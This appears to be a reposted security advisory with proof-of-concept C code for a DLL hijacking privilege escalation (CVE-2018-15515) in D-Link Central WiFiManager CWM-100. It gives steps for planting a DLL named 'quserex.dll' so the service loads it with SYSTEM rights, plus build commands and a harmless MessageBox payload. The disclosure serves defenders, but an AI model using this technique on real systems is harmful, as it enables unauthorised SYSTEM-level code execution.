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D-LINK Central WifiManager (CWM 100) 1.03 r0098 DLL Hijacking Exploit
Author
Risk
[Security Risk Medium
]0day-ID
Category
Date add
CVE
Platform
[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/DLINK-CENTRAL-WIFI-MANAGER-CWM-100-SYSTEM-PRIVILEGE-ESCALATION.txt
[+] ISR: ApparitionSec
***Greetz: indoushka | Eduardo B.***
[Vendor]
us.dlink.com
[Product]
D-LINK Central WifiManager (CWM 100)
Version 1.03 r0098
http://us.dlink.com/products/business-solutions/central-wifimanager-software-controller/
D-Links free Central WiFiManager is a web-based wireless Access Point management tool, enabling you to create and manage multi-site, multi-tenancy wireless networks.
[Vulnerability Type]
Trojan File SYSTEM Privilege Escalation
[Affected Component]
"quserex.dll"
[CVE Reference]
CVE-2018-15515
[Security Issue]
D-Link Central WiFiManager CWM-100 1.03 r0098 devices will load a Trojan horse "quserex.dll" and will create a new thread running with SYSTEM integrity.
[Impact]
Code Execution as SYSTEM
[Exploit/POC]
1) Create 32bit DLL named "quserex.dll" and place in "CaptivelPortal.exe" directory under the DLINK directory
2) Restart the service "CaptivelPortal"
3) Proof, examine using process monitor (sysinternals)
#include <windows.h>
/* hyp3rlinx */
/*
gcc -c -m32 quserex.c
gcc -shared -m32 -o quserex.dll quserex.o
*/
void executo(){
MessageBox(NULL, "Enjoy ur SYSTEM Integrity!", ":)", MB_OK);
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved){
switch(fdwReason){
case DLL_PROCESS_ATTACH:{
executo();
break;
}
case DLL_PROCESS_DETACH:{
executo();
break;
}
case DLL_THREAD_ATTACH:{
executo();
break;
}
case DLL_THREAD_DETACH:{
executo();
break;
}
}
return TRUE;
}
# 0day.today [2024-09-28] #